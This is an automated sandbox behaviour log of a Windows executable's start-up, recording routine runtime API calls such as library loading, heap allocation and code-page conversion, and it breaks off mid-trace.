# Flog Txt Version 1 # Analyzer Version: 3.0.2 # Analyzer Build Date: Jun 6 2019 12:21:16 # Log Creation Date: 12.06.2019 20:31:16.249 Process: id = "1" image_name = "cusers777downloadsnewsourcenewsource.exe" filename = "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe" page_root = "0xf140000" os_pid = "0x4a0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x770 [0034.289] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0034.290] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0034.290] GetProcAddress (hModule=0x74ea0000, lpProcName="InitializeCriticalSectionEx") returned 0x74f97060 [0034.291] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0034.291] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsAlloc") returned 0x74f9bea0 [0034.291] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsSetValue") returned 0x74f92550 [0034.292] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0034.292] GetProcAddress (hModule=0x74ea0000, lpProcName="InitializeCriticalSectionEx") returned 0x74f97060 [0034.293] GetProcessHeap () returned 0x530000 [0034.293] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0034.293] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsAlloc") returned 0x74f9bea0 [0034.293] GetLastError () returned 0xcb [0034.293] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsGetValue") returned 0x74f870c0 [0034.293] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x364) returned 0x548440 [0034.293] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsSetValue") returned 0x74f92550 [0034.293] SetLastError (dwErrCode=0xcb) [0034.293] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xc00) returned 0x549890 [0034.313] GetStartupInfoW (in: lpStartupInfo=0x4ffe50 | out: lpStartupInfo=0x4ffe50*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0034.313] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0034.313] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0034.313] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0034.313] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe\" " [0034.313] GetCommandLineW () returned="\"C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe\" " [0034.313] GetLastError () returned 0xcb [0034.313] SetLastError (dwErrCode=0xcb) [0034.313] GetLastError () returned 0xcb [0034.313] SetLastError (dwErrCode=0xcb) [0034.313] GetACP () returned 0x4e4 [0034.313] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x220) returned 0x547158 [0034.313] IsValidCodePage (CodePage=0x4e4) returned 1 [0034.313] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x4ffe80 | out: lpCPInfo=0x4ffe80) returned 1 [0034.313] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x4ff748 | out: lpCPInfo=0x4ff748) returned 1 [0034.313] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x4ffd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0034.313] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x4ffd5c, cbMultiByte=256, lpWideCharStr=0x4ff4e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ膥ÖĀ") returned 256 [0034.313] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ膥ÖĀ", cchSrc=256, lpCharType=0x4ff75c | out: lpCharType=0x4ff75c) returned 1 [0034.313] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x4ffd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0034.313] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x4ffd5c, cbMultiByte=256, lpWideCharStr=0x4ff498, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ郂ÖĀ") returned 256 [0034.313] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0034.313] GetProcAddress (hModule=0x74ea0000, lpProcName="LCMapStringEx") returned 0x74f7ed00 [0034.313] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ郂ÖĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0034.313] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ郂ÖĀ", cchSrc=256, lpDestStr=0x4ff288, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0034.314] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x4ffc5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x4c\x85\xf2\xab\x98\xfe\x4f", lpUsedDefaultChar=0x0) returned 256 [0034.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x4ffd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0034.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x4ffd5c, cbMultiByte=256, lpWideCharStr=0x4ff4b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0034.314] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0034.314] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x4ff2a8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0034.314] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x4ffb5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x4c\x85\xf2\xab\x98\xfe\x4f", lpUsedDefaultChar=0x0) returned 256 [0034.314] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x80) returned 0x5367b0 [0034.314] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xd89ec0, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe")) returned 0x40 [0034.314] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x8a) returned 0x53e630 [0034.314] RtlInitializeSListHead (in: ListHead=0xd89da8 | out: ListHead=0xd89da8) [0034.314] GetLastError () returned 0x0 [0034.314] SetLastError (dwErrCode=0x0) [0034.314] GetEnvironmentStringsW () returned 0x54a498* [0034.314] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xaca) returned 0x54af70 [0034.314] FreeEnvironmentStringsW (penv=0x54a498) returned 1 [0034.314] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x94) returned 0x53e918 [0034.314] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x3e) returned 0x545490 [0034.314] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x50) returned 0x53e898 [0034.314] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x6e) returned 0x53e260 [0034.314] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x78) returned 0x547bb0 [0034.314] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x62) returned 0x53eaf8 [0034.314] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x28) returned 0x541fc0 [0034.314] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x48) returned 0x53edb8 [0034.314] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x1a) returned 0x53b0b0 [0034.314] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x2e) returned 0x53f848 [0034.314] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x56) returned 0x53e6e0 [0034.314] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x2a) returned 0x53f768 [0034.314] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x2e) returned 0x53f810 [0034.314] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x44) returned 0x543438 [0034.315] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x1c) returned 0x53b100 [0034.315] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x182) returned 0x54ba48 [0034.315] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x7c) returned 0x53fe10 [0034.315] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x36) returned 0x53e450 [0034.315] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x3a) returned 0x5455f8 [0034.315] 